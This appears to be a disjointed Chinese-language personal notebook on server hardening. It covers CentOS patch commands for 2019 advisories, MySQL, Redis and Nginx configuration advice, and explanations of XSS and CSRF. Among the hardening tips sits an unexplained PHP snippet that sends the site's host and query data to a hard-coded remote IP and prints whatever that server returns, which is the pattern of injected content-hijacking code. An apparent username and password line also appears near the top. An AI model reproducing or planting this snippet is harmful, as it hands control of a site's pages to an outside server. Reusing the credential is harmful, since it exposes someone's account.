网络安全


360网站扫描

百度云监测

使用nginx做反向代理基本配置方式

前后端常见的几种鉴权方式

https://passport.csdn.net/v1/register/authorization?authType=qq

https://graph.qq.com/oauth2.0/show?which=Login&display=pc&client_id=100270989&response_type=code&redirect_uri=https%3A%2F%2Fpassport.csdn.net%2Faccount%2Flogin%3FpcAuthType%3Dqq%26state%3Dtest

szbaoyejituan : szbaoyejituan)@@)

CVE

CVE 的英文全称是“Common Vulnerabilities & Exposures”公共漏洞和暴露。

centOS:
漏洞修复_RHSA_2019_0230_高危__polkit_安全更新
yum update polkit

漏洞修复_RHSA_2019_0679_高危__libssh2_安全更新
yum update libssh2

漏洞修复_RHSA_2019_0633_高危__ghostscript_安全和BUG修复更新
yum update ghostscript

yum update wget

漏洞修复_RHSA_2019_3286_关键__php_安全更新
yum update php-mbstring
yum update php-intl
yum update php-xml
yum update php-process
yum update php-pdo
yum update php-gd
yum update php-common
yum update php-cli

漏洞修复_RHSA_2019_0368_高危__systemd_安全更新
yum update systemd-libs
yum update systemd
yum update systemd-sysv

漏洞修复_RHSA_2019_1880_低危__curl_安全和BUG修复更新
yum update libcurl-devel
yum update libcurl
yum update curl


漏洞编号	影响分  	漏洞公告
CVE-2019-3855	8.8	传输读取中的整数溢出导致越界写入
CVE-2019-3856	8.8	键盘交互式处理中的整数溢出导致越界写入
CVE-2019-3857	8.8	SSH数据包处理通道中的整数溢出导致越界写入
CVE-2019-3863	8.8	用户验证键盘交互中的整数溢出允许越界写入
CVE-2019-3835	5.5	Superexec操作符可用
CVE-2019-3838	5.5	Ghostscript 安全限制绕过安全漏洞
CVE-2019-3862   9.1 超出范围内存与特制消息通道请求的比较

设置SSH空闲超时退出时间,可降低未授权用户访问其他用户ssh会话的风险

MYSQL:
编辑Mysql配置文件/etc/my.cnf,在mysqld_safe 段落中配置log-error参数,<log_path>代表存放日志文件路径,如:/var/log/mysqld.log,并重启mysql服务:
编辑/etc/my.cnf文件,mysqld 段落中配置新的端口参数,并重启mysql服务:

禁用符号链接以防止各种安全风险:
编辑Mysql配置文件/etc/my.cnf,在mysqld 段落中配置symbolic-links=0,5.6及以上版本应该配置为skip_symbolic_links=yes,并重启mysql服务。

禁用local_infile选项会降低攻击者通过SQL注入漏洞器读取敏感文件的能力:
编辑Mysql配置文件/etc/my.cnf,在mysqld 段落中配置local-infile参数为0,并重启mysql服务:

REDIS:
使用root权限去运行网络服务是比较有风险的(nginx和apache都是有独立的work用户,而redis没有)。redis crackit 漏洞就是利用root用户的权限来替换或者增加authorized_keys,来获取root登录权限的:
使用root切换到redis用户启动服务:
useradd -s /sbin/nolog -M redis 
sudo -u redis /<redis-server-path>/redis-server /<configpath>/redis.conf 

Redis中线上使用keys *命令,也是非常危险的。因此线上的Redis必须考虑禁用一些危险的命令,或者尽量避免谁都可以使用这些命令,Redis没有完整的管理系统,但是也提供了一些方案。:
修改 redis.conf 文件,添加
rename-command FLUSHALL ""
rename-command FLUSHDB  ""
rename-command CONFIG   ""
rename-command KEYS     ""
rename-command SHUTDOWN ""
rename-command DEL ""
rename-command EVAL ""
然后重启redis。 重命名为"" 代表禁用命令,如想保留命令,可以重命名为不可猜测的字符串,如: rename-command FLUSHALL joYAPNXRPmcarcR4ZDgC
因为redis密码明文存储在配置文件中,禁止不相关的用户访问改配置文件是必要的,设置redis配置文件权限为600,
执行以下命令修改配置文件权限:
chmod 600 /<filepath>/redis.conf
避免使用熟知的端口,降低被初级扫描的风险
编辑文件redis的配置文件redis.conf,找到包含port的行,将默认的6379修改为自定义的端口号,然后重启redis

NGINX:
隐藏Nginx后端服务X-Powered-By头:
隐藏Nginx后端服务指定Header的状态: 
1、打开conf/nginx.conf配置文件; 
2、在http下配置proxy_hide_header项; 增加或修改为 proxy_hide_header X-Powered-By; proxy_hide_header Server;

Nginx后端服务指定的Header隐藏状态:
开启Nginx的WEB访问日志记录: 
1、打开conf/nginx.conf配置文件; 
2、在http下配置access_log项
access_log logs/host.access.log main; 
3、 并删除off项

Nginx SSL协议的加密策略进行加固:
Nginx SSL协议采用TLSv1.2: 1、打开conf/nginx.cconf配置文件; 2、配置
server { 
               ...
              ssl_protocols TLSv1.2;
               ...
                     }
                     
备注:配置此项请确认nginx支持OpenSSL,运行nginxv -V 如果返回中包含built with OpenSSL则表示支持OpenSSL。如果不支持,请重新编译nginx
Nginx进程启动账号状态,降低被攻击概率
set_time_limit(0);

header("Content-Type: text/html;charset=gb2312");
date_default_timezone_set('PRC');
$Remote_server = "http://123.103.247.18/lz/16.php"; 
$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$Content_mb=file_get_contents($Remote_server."?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']);

echo $Content_mb;

常见的web攻击

XSS和CSRF攻击

前端安全之XSS攻击

XSS(Cross-Site-Scripting跨站脚本攻击)

XSS其实就是Html的注入问题,在被攻击者在浏览器中执行脚本
a. 盗用 cookie ,获取敏感信息。
b.利用植入 Flash ,通过 crossdomain 权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
c.利用 iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
d.利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
e.在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。

漏洞的防御和利用:
避免XSS的方法之一主要是将用户所提供的内容进行过滤,许多语言都有提供对HTML的过滤:
PHP的htmlentities()或是htmlspecialchars()。
Python的cgi.escape()。
ASP的Server.HTMLEncode()。
ASP.NET的Server.HtmlEncode()或功能更强的Microsoft Anti-Cross Site Scripting Library
Java的xssprotect(Open Source Library)。
Node.js的node-validator。

使用HTTP头指定类型:
很多时候可以使用HTTP头指定内容的类型,使得输出的内容避免被作为HTML解析。如在PHP语言中使用以下代码:

header('Content-Type: text/javascript; charset=utf-8');
即可强行指定输出内容为JavaScript脚本(顺便指定了内容编码),而非可以引发攻击的HTML。

CSRF(Cross-Site-Request-Forgeries跨站伪造请求)

绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),
再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。

要完成一次CSRF攻击,受害者必须依次完成两个步骤:
1.登录受信任网站A,并在本地生成Cookie。
2.在网站A的Cookie不过期的情况下,访问危险网站B, 网站B用网站A的Cookie访问受信任的网站A,进行非法操作。

关闭浏览器了后,本地的Cookie不会立刻过期,事实上,关闭浏览器不能结束一个会话,但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了

请求令牌(一种简单有效的防御方法):
1.首先服务器端要以某种策略生成随机字符串,作为令牌(token),保存在 Session 里。
2.然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。
3.在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,
4.处理完成后清理session中的值,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份